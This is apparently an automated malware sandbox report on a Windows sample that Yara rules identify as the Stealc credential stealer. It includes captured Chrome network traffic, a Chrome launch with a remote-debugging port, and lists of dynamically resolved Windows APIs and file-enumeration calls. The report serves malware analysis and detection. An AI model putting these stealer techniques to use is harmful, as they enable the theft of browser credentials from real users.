3b 62 5c 75 30 Data Ascii: turn a.i;throw Error(\"F\");};_.Xd\u003dfunction(a){if(Wd.test(a))return a};_.Yd\u003dfunction(a){if(a instanceof _.Id)if(a instanceof _.Id)a\u003da.i;else throw Error(\"F\");else a\u003d_.Xd(a);return a};_.Zd\u003dfunction(a,b\u003ddocument){let c,d;b\u0
2024-12-24 21:27:05 UTC	352	IN	Data Raw: 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 79 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 Data Ascii: 003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.ke\u003dfunction(a,b){_.yb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u00
2024-12-24 21:27:05 UTC	292	IN	Data Raw: 31 31 64 0d 0a 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6a 65 5b 64 5d 2c 63 29 3a 5f 2e 65 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 65 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6a 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e 67 74 68 3a 5c 22 6d 61 78 4c 65 6e 67 74 68 5c Data Ascii: 11d?a.setAttribute(je[d],c):_.ee(d,\"aria-\")\|\|_.ee(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};je\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlength:\"maxLength\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	142.250.181.68	443	7864	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 21:27:04 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 21:27:05 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:05 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-vT-6g5oxN54fdOP4CNijKQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-24 21:27:05 UTC	124	IN	Data Raw: 38 35 65 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 6f 6c 6c 65 67 65 20 66 6f 6f 74 62 61 6c 6c 20 70 6c 61 79 6f 66 66 22 2c 22 6c 61 6b 65 20 74 61 68 6f 65 20 73 6b 69 20 6c 69 66 74 20 61 63 63 69 64 65 6e 74 22 2c 22 62 61 6c 74 69 6d 6f 72 65 20 70 69 7a 7a 61 20 64 61 76 65 20 70 6f 72 74 6e 6f 79 22 2c 22 6a 61 77 73 20 73 75 72 66 22 2c 22 6d 61 72 76 65 6c 20 Data Ascii: 85e)]}'["",["college football playoff","lake tahoe ski lift accident","baltimore pizza dave portnoy","jaws surf","marvel
2024-12-24 21:27:05 UTC	1390	IN	Data Raw: 72 69 76 61 6c 73 20 6e 65 74 65 61 73 65 20 67 61 6d 65 72 20 70 72 65 6d 69 75 6d 22 2c 22 63 68 72 69 73 74 6d 61 73 20 63 6f 6d 65 74 22 2c 22 6d 61 74 74 65 20 62 6c 61 63 6b 20 6d 61 73 74 65 72 20 63 68 69 65 66 20 66 6f 72 74 6e 69 74 65 20 73 6b 69 6e 22 2c 22 64 65 6e 76 65 72 20 6e 75 67 67 65 74 73 20 70 68 6f 65 6e 69 78 20 73 75 6e 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 Data Ascii: rivals netease gamer premium","christmas comet","matte black master chief fortnite skin","denver nuggets phoenix suns"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u0
2024-12-24 21:27:05 UTC	635	IN	Data Raw: 47 5a 6f 62 6e 6c 77 53 33 68 35 52 55 56 73 52 69 39 57 52 33 63 32 61 46 52 36 57 48 4a 30 64 6c 64 58 55 32 46 68 65 48 56 50 65 48 56 57 53 6a 56 6a 4f 58 4e 71 64 6b 68 75 55 58 68 6e 4b 7a 42 49 4e 57 45 34 55 48 45 33 63 6a 6c 51 59 56 6b 72 53 6c 46 7a 55 57 6c 49 54 31 52 7a 52 48 70 34 56 6b 78 34 63 54 56 45 63 45 55 77 61 56 70 71 4d 47 46 7a 59 56 4d 72 55 56 51 30 59 7a 67 30 53 48 56 68 65 46 68 36 54 45 56 43 53 56 70 75 55 6b 70 46 64 33 42 45 52 57 4a 71 62 31 49 35 63 54 41 76 51 58 68 49 65 45 63 78 61 47 6c 68 4f 47 55 79 64 57 39 4a 4b 33 70 61 51 6e 5a 78 51 53 39 31 52 79 39 71 56 32 5a 72 56 57 5a 43 63 45 30 32 53 45 45 31 63 6d 52 57 54 32 46 30 4d 6c 67 76 64 33 64 35 64 7a 68 4d 61 45 35 31 52 45 56 7a 61 46 6f 78 57 45 4a 48 Data Ascii: GZobnlwS3h5RUVsRi9WR3c2aFR6WHJ0dldXU2FheHVPeHVWSjVjOXNqdkhuUXhnKzBINWE4UHE3cjlQYVkrSlFzUWlIT1RzRHp4Vkx4cTVEcEUwaVpqMGFzYVMrUVQ0Yzg0SHVheFh6TEVCSVpuUkpFd3BERWJqb1I5cTAvQXhIeEcxaGlhOGUydW9JK3paQnZxQS91Ry9qV2ZrVWZCcE02SEE1cmRWT2F0Mlgvd3d5dzhMaE51REVzaFoxWEJH
2024-12-24 21:27:05 UTC	91	IN	Data Raw: 35 35 0d 0a 5a 4e 57 58 64 52 5a 44 6c 32 5a 57 68 7a 5a 45 70 47 52 7a 46 75 53 33 4d 33 56 48 68 31 4e 6e 70 49 54 33 42 74 4d 33 70 75 64 6e 70 36 63 54 42 30 63 46 70 61 63 6d 5a 7a 63 6d 35 43 56 55 68 4b 56 6c 46 6a 53 48 67 34 4e 6c 42 73 4e 47 74 36 61 30 63 0d 0a Data Ascii: 55ZNWXdRZDl2ZWhzZEpGRzFuS3M3VHh1NnpIT3BtM3pudnp6cTB0cFpacmZzcm5CVUhKVlFjSHg4NlBsNGt6a0c
2024-12-24 21:27:05 UTC	1027	IN	Data Raw: 33 66 63 0d 0a 30 64 44 64 68 59 6b 64 33 57 54 56 43 4c 30 6c 78 64 6d 31 61 57 6b 78 73 53 6d 39 70 61 30 64 42 55 6d 39 61 5a 7a 4a 52 56 44 4e 6c 62 6c 68 4f 52 46 6c 35 55 31 46 30 64 57 77 31 52 45 64 79 53 58 42 44 64 47 34 32 55 57 63 77 5a 79 73 30 4d 31 41 34 51 57 39 79 61 46 42 6b 52 6d 38 79 54 6e 4e 49 53 55 49 72 62 55 35 70 51 33 41 33 4f 55 64 50 56 6b 45 34 55 47 46 54 51 6d 64 5a 53 6b 67 77 63 30 4a 6e 57 6c 6b 72 5a 54 4e 4a 4d 57 4e 53 54 6d 4e 59 52 48 4d 31 64 6c 56 57 55 57 5a 77 4d 58 68 77 63 30 30 33 4c 33 5a 55 61 55 4e 76 59 6e 52 6e 65 46 56 54 4c 31 52 7a 56 6c 70 54 65 6d 56 74 52 31 41 30 63 44 64 35 57 46 70 73 57 6e 68 69 65 57 46 57 57 45 70 42 56 6d 70 71 59 6e 68 34 56 54 68 56 4d 54 46 69 65 6d 68 55 4d 6d 4a 30 63 Data Ascii: 3fc0dDdhYkd3WTVCL0lxdm1aWkxsSm9pa0dBUm9aZzJRVDNlblhORFl5U1F0dWw1REdySXBDdG42UWcwZys0M1A4QW9yaFBkRm8yTnNISUIrbU5pQ3A3OUdPVkE4UGFTQmdZSkgwc0JnWlkrZTNJMWNSTmNYRHM1dlVWUWZwMXhwc003L3ZUaUNvYnRneFVTL1RzVlpTemVtR1A0cDd5WFpsWnhieWFWWEpBVmpqYnh4VThVMTFiemhUMmJ0c
2024-12-24 21:27:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	142.250.181.68	443	7864	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 21:27:04 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 21:27:05 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 24 Dec 2024 21:27:05 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-24 21:27:05 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-24 21:27:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:26:53
Start date:	24/12/2024
Path:	C:\Users\user\Desktop\glpEv3POe7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\glpEv3POe7.exe"
Imagebase:	0x580000
File size:	245'760 bytes
MD5 hash:	89AD45B4A0E2D547C1E09D0A1EA94DF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000000.1667691355.00000000005AB000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1974812801.0000000001212000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1974812801.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:26:59
Start date:	24/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:27:00
Start date:	24/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2176,i,7037384399253609430,4066803532452001753,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	15.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	144

Executed Functions

Function 005A6710 Relevance: 210.7, APIs: 115, Strings: 5, Instructions: 696
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,011D8478), ref: 005A6725
GetProcAddress.KERNEL32(74DD0000,011D85D8), ref: 005A673D
GetProcAddress.KERNEL32(74DD0000,011D3B70), ref: 005A6756
GetProcAddress.KERNEL32(74DD0000,011D3CA8), ref: 005A676E
GetProcAddress.KERNEL32(74DD0000,011D3AF8), ref: 005A6786
GetProcAddress.KERNEL32(74DD0000,011D3C18), ref: 005A679F
GetProcAddress.KERNEL32(74DD0000,011DBEB8), ref: 005A67B7
GetProcAddress.KERNEL32(74DD0000,011D3C48), ref: 005A67CF
GetProcAddress.KERNEL32(74DD0000,011D3D38), ref: 005A67E8
GetProcAddress.KERNEL32(74DD0000,011D3C30), ref: 005A6800
GetProcAddress.KERNEL32(74DD0000,011D3C78), ref: 005A6818
GetProcAddress.KERNEL32(74DD0000,011D86D8), ref: 005A6831
GetProcAddress.KERNEL32(74DD0000,011D87D8), ref: 005A6849
GetProcAddress.KERNEL32(74DD0000,011D8598), ref: 005A6861
GetProcAddress.KERNEL32(74DD0000,011D85B8), ref: 005A687A
GetProcAddress.KERNEL32(74DD0000,011D3C90), ref: 005A6892
GetProcAddress.KERNEL32(74DD0000,011D3D98), ref: 005A68AA
GetProcAddress.KERNEL32(74DD0000,011DBC38), ref: 005A68C3
GetProcAddress.KERNEL32(74DD0000,011D8718), ref: 005A68DB
GetProcAddress.KERNEL32(74DD0000,011D3CC0), ref: 005A68F3
GetProcAddress.KERNEL32(74DD0000,011D3D68), ref: 005A690C
GetProcAddress.KERNEL32(74DD0000,011D3E40), ref: 005A6924
GetProcAddress.KERNEL32(74DD0000,011DFAB8), ref: 005A693C
GetProcAddress.KERNEL32(74DD0000,011D8758), ref: 005A6955
GetProcAddress.KERNEL32(74DD0000,011DFA10), ref: 005A696D
GetProcAddress.KERNEL32(74DD0000,011DFB78), ref: 005A6985
GetProcAddress.KERNEL32(74DD0000,011DFBA8), ref: 005A699E
GetProcAddress.KERNEL32(74DD0000,011DFC20), ref: 005A69B6
GetProcAddress.KERNEL32(74DD0000,011DFB30), ref: 005A69CE
GetProcAddress.KERNEL32(74DD0000,011DFAE8), ref: 005A69E7
GetProcAddress.KERNEL32(74DD0000,011DFBF0), ref: 005A69FF
GetProcAddress.KERNEL32(74DD0000,011DF9F8), ref: 005A6A17
GetProcAddress.KERNEL32(74DD0000,011DF9C8), ref: 005A6A30
GetProcAddress.KERNEL32(74DD0000,011D4AA8), ref: 005A6A48
GetProcAddress.KERNEL32(74DD0000,011DFC50), ref: 005A6A60
GetProcAddress.KERNEL32(74DD0000,011DFB48), ref: 005A6A79
GetProcAddress.KERNEL32(74DD0000,011D8778), ref: 005A6A91
GetProcAddress.KERNEL32(74DD0000,011DFBC0), ref: 005A6AA9
GetProcAddress.KERNEL32(74DD0000,011D87F8), ref: 005A6AC2
GetProcAddress.KERNEL32(74DD0000,011DFA70), ref: 005A6ADA
GetProcAddress.KERNEL32(74DD0000,011DFAD0), ref: 005A6AF2
GetProcAddress.KERNEL32(74DD0000,011D80B8), ref: 005A6B0B
GetProcAddress.KERNEL32(74DD0000,011D8218), ref: 005A6B23
LoadLibraryA.KERNEL32(011DFB18,005A067A), ref: 005A6B35
LoadLibraryA.KERNEL32(011DFB00), ref: 005A6B46
LoadLibraryA.KERNEL32(011DFBD8), ref: 005A6B58
LoadLibraryA.KERNEL32(011DFB60), ref: 005A6B6A
LoadLibraryA.KERNEL32(011DF9B0), ref: 005A6B7B
LoadLibraryA.KERNEL32(011DFC08), ref: 005A6B8D
LoadLibraryA.KERNEL32(011DF968), ref: 005A6B9F
LoadLibraryA.KERNEL32(011DFAA0), ref: 005A6BB0
GetProcAddress.KERNEL32(75290000,011D8338), ref: 005A6BCC
GetProcAddress.KERNEL32(75290000,011DF9E0), ref: 005A6BE4
GetProcAddress.KERNEL32(75290000,011DD8E8), ref: 005A6BFD
GetProcAddress.KERNEL32(75290000,011DFA58), ref: 005A6C15
GetProcAddress.KERNEL32(75290000,011D83D8), ref: 005A6C2D
GetProcAddress.KERNEL32(6FE30000,011DBCD8), ref: 005A6C4D
GetProcAddress.KERNEL32(6FE30000,011D8278), ref: 005A6C65
GetProcAddress.KERNEL32(6FE30000,011DBB20), ref: 005A6C7E
GetProcAddress.KERNEL32(6FE30000,011DFA28), ref: 005A6C96
GetProcAddress.KERNEL32(6FE30000,011DFA40), ref: 005A6CAE
GetProcAddress.KERNEL32(6FE30000,011D8418), ref: 005A6CC7
GetProcAddress.KERNEL32(6FE30000,011D80D8), ref: 005A6CDF
GetProcAddress.KERNEL32(6FE30000,011DFB90), ref: 005A6CF7
GetProcAddress.KERNEL32(752C0000,011D83F8), ref: 005A6D13
GetProcAddress.KERNEL32(752C0000,011D8078), ref: 005A6D2B
GetProcAddress.KERNEL32(752C0000,011DFC38), ref: 005A6D44
GetProcAddress.KERNEL32(752C0000,011DF980), ref: 005A6D5C
GetProcAddress.KERNEL32(752C0000,011D8298), ref: 005A6D74
GetProcAddress.KERNEL32(74EC0000,011DB8A0), ref: 005A6D94
GetProcAddress.KERNEL32(74EC0000,011DBBC0), ref: 005A6DAC
GetProcAddress.KERNEL32(74EC0000,011DF998), ref: 005A6DC5
GetProcAddress.KERNEL32(74EC0000,011D8318), ref: 005A6DDD
GetProcAddress.KERNEL32(74EC0000,011D82B8), ref: 005A6DF5
GetProcAddress.KERNEL32(74EC0000,011DBC10), ref: 005A6E0E
GetProcAddress.KERNEL32(75BD0000,011DFA88), ref: 005A6E2E
GetProcAddress.KERNEL32(75BD0000,011D8158), ref: 005A6E46
GetProcAddress.KERNEL32(75BD0000,011DD848), ref: 005A6E5F
GetProcAddress.KERNEL32(75BD0000,011DFCB0), ref: 005A6E77
GetProcAddress.KERNEL32(75BD0000,011DFCC8), ref: 005A6E8F
GetProcAddress.KERNEL32(75BD0000,011D82F8), ref: 005A6EA8
GetProcAddress.KERNEL32(75BD0000,011D82D8), ref: 005A6EC0
GetProcAddress.KERNEL32(75BD0000,011DFC80), ref: 005A6ED8
GetProcAddress.KERNEL32(75BD0000,011DFC98), ref: 005A6EF1
GetProcAddress.KERNEL32(75BD0000,CreateDesktopA), ref: 005A6F07
GetProcAddress.KERNEL32(75BD0000,OpenDesktopA), ref: 005A6F1E
GetProcAddress.KERNEL32(75BD0000,CloseDesktop), ref: 005A6F35
GetProcAddress.KERNEL32(75A70000,011D8238), ref: 005A6F51
GetProcAddress.KERNEL32(75A70000,011DFCE0), ref: 005A6F69
GetProcAddress.KERNEL32(75A70000,011DFCF8), ref: 005A6F82
GetProcAddress.KERNEL32(75A70000,011DFD28), ref: 005A6F9A
GetProcAddress.KERNEL32(75A70000,011DFD10), ref: 005A6FB2
GetProcAddress.KERNEL32(75450000,011D8198), ref: 005A6FCE
GetProcAddress.KERNEL32(75450000,011D8358), ref: 005A6FE6
GetProcAddress.KERNEL32(75DA0000,011D8378), ref: 005A7002
GetProcAddress.KERNEL32(75DA0000,011DFC68), ref: 005A701A
GetProcAddress.KERNEL32(6F070000,011D8258), ref: 005A703A
GetProcAddress.KERNEL32(6F070000,011D80F8), ref: 005A7052
GetProcAddress.KERNEL32(6F070000,011D8058), ref: 005A706B
GetProcAddress.KERNEL32(6F070000,011DFE78), ref: 005A7083
GetProcAddress.KERNEL32(6F070000,011D81B8), ref: 005A709B
GetProcAddress.KERNEL32(6F070000,011D8438), ref: 005A70B4
GetProcAddress.KERNEL32(6F070000,011D8098), ref: 005A70CC
GetProcAddress.KERNEL32(6F070000,011D8118), ref: 005A70E4
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 005A70FB
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 005A7112
GetProcAddress.KERNEL32(75AF0000,011DFF98), ref: 005A712E
GetProcAddress.KERNEL32(75AF0000,011DD7C8), ref: 005A7146
GetProcAddress.KERNEL32(75AF0000,011DFE90), ref: 005A715F
GetProcAddress.KERNEL32(75AF0000,011DFDA0), ref: 005A7177
GetProcAddress.KERNEL32(75D90000,011D8138), ref: 005A7193
GetProcAddress.KERNEL32(6E240000,011DFEA8), ref: 005A71AF
GetProcAddress.KERNEL32(6E240000,011D8398), ref: 005A71C7
GetProcAddress.KERNEL32(6E240000,011DFFC8), ref: 005A71E0
GetProcAddress.KERNEL32(6E240000,011DFEF0), ref: 005A71F8

Strings

InternetSetOptionA, xrefs: 005A70F0
HttpQueryInfoA, xrefs: 005A7107
CloseDesktop, xrefs: 005A6F2A
CreateDesktopA, xrefs: 005A6F01
OpenDesktopA, xrefs: 005A6F13

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CloseDesktop$CreateDesktopA$HttpQueryInfoA$InternetSetOptionA$OpenDesktopA
API String ID: 2238633743-3468015613
Opcode ID: d3e4bbb8732655fae7b5f6c6b3504650f543226ae0faf642ac8ee5e8e1625016
Instruction ID: 774581d1ad15d2a4cc159e90197fa9db293e67c2b8396a3abd814c5297d607c7
Opcode Fuzzy Hash: d3e4bbb8732655fae7b5f6c6b3504650f543226ae0faf642ac8ee5e8e1625016
Instruction Fuzzy Hash: 486222B5A11216DFD794EF64EC89F2637B9F789201314C719FB6583364EA3CA800DB29

Function 005815A0 Relevance: 202.4, APIs: 114, Strings: 1, Instructions: 1164stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 005815E2
lstrcpy.KERNEL32(00000000,005AD014), ref: 00581619
lstrcpy.KERNEL32(00000000,00000000), ref: 0058166C
lstrcatA.KERNEL32(00000000), ref: 00581676
lstrcpy.KERNEL32(00000000,00000000), ref: 005816A2
lstrcpy.KERNEL32(00000000,00000000), ref: 005816EF
lstrcatA.KERNEL32(00000000,00000000), ref: 005816F9
lstrcpy.KERNEL32(00000000,00000000), ref: 00581725
lstrcpy.KERNEL32(00000000,00000000), ref: 00581775
lstrcatA.KERNEL32(00000000), ref: 0058177F
lstrcpy.KERNEL32(00000000,00000000), ref: 005817AB
lstrcpy.KERNEL32(00000000,?), ref: 005817F3
lstrcatA.KERNEL32(00000000,00000000), ref: 005817FE
lstrlenA.KERNEL32(005B1D5C), ref: 00581809
lstrcpy.KERNEL32(00000000,00000000), ref: 00581829
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 00581835
lstrcpy.KERNEL32(00000000,00000000), ref: 0058185B
lstrcatA.KERNEL32(00000000,00000000), ref: 00581866
lstrlenA.KERNEL32(\*.*), ref: 00581871
lstrcpy.KERNEL32(00000000,00000000), ref: 0058188E
lstrcatA.KERNEL32(00000000,\*.*), ref: 0058189A

Part of subcall function 005A4020: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,00000000), ref: 005A404D
Part of subcall function 005A4020: lstrcpy.KERNEL32(00000000,?), ref: 005A4082

lstrcpy.KERNEL32(00000000,00000000), ref: 005818C3
lstrcpy.KERNEL32(00000000,?), ref: 0058190E
lstrcatA.KERNEL32(00000000,00000000), ref: 00581916
lstrlenA.KERNEL32(005B1D5C), ref: 00581921
lstrcpy.KERNEL32(00000000,00000000), ref: 00581941
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0058194D
lstrcpy.KERNEL32(00000000,00000000), ref: 00581976
